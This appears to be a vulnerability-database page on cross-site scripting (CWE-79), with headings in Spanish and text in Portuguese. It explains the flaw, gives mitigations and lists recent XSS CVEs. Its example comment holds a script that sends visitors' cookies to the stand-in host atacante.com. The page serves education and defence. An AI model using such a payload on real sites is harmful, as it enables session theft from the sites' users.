Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-14063MEDIUMSEO Links Interlinking <= 1.7.9.9.1 - Reflected Cross-Site Scripting via 'google_error' ParameterEPSS 0.3%CVE-2025-47489MEDIUMWordPress Beds24 Online Booking plugin <= 2.0.29 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-45754MEDIUMA stored cross-site scripting (XSS) vulnerability exists in SeedDMS 6.0.32. This vulnerability allows an attacker to inject malicious JavaScEPSS 0.3%CVE-2026-102786HIGHJoomla Extension - phoca.cz - Authenticated stored cross-site scripting through HTML attribute injection in Phoca Gallery 4.5.0 - 6.1.5EPSS 0.3%CVE-2025-46464MEDIUMWordPress Ads Pro plugin <= 5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2019-25323MEDIUMHeatmiser Netmonitor 3.03 - HTML InjectionEPSS 0.3%CVE-2023-1006LOWSourceCodester Medical Certificate Generator App New Record cross site scriptingEPSS 0.3%CVE-2025-44110MEDIUMFluxBB 1.5.11 is vulnerable to Cross Site Scripting (XSS) in via the Forum Description Field in admin_forums.php.EPSS 0.3%CVE-2025-31696MEDIUMRapiDoc OAS Field Formatter - Moderately critical - Cross site scripting - SA-CONTRIB-2025-025EPSS 0.3%CVE-2025-12303MEDIUMPHPGurukul Curfew e-Pass Management System admin-profile.php cross site scriptingEPSS 0.3%CVE-2025-9044MEDIUMMapster WP Maps <= 1.20.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-85002MEDIUMEmbedPress < 4.6.7 - Contributor+ Stored XSS via Instagram Carousel Block AttributesEPSS 0.3%CVE-2026-49371HIGHIn JetBrains TeamCity before 2026.1.1 reflected XSS in the keyword filter was possibleEPSS 0.3%CVE-2025-47499MEDIUMWordPress Simple Blog Stats plugin <= 20250416 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2019-25324MEDIUMRICOH Web Image Monitor 1.09 - HTML InjectionEPSS 0.3%CVE-2026-24744MEDIUMInvoicePlane has a Stored Cross-Site Scripting (XSS) issueEPSS 0.3%CVE-2025-52180MEDIUMCross-site scripting (XSS) vulnerability in Zucchetti Ad Hoc Infinity 4.2 and earlier allows remote unauthenticated attackers to inject arbiEPSS 0.3%CVE-2025-47504MEDIUMWordPress Custom Checkout Fields for WooCommerce plugin <= 1.8.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-46493MEDIUMWordPress Crossword Compiler Puzzles plugin <= 14.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-47442MEDIUMWordPress CC BMI Calculator plugin <= 2.1.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%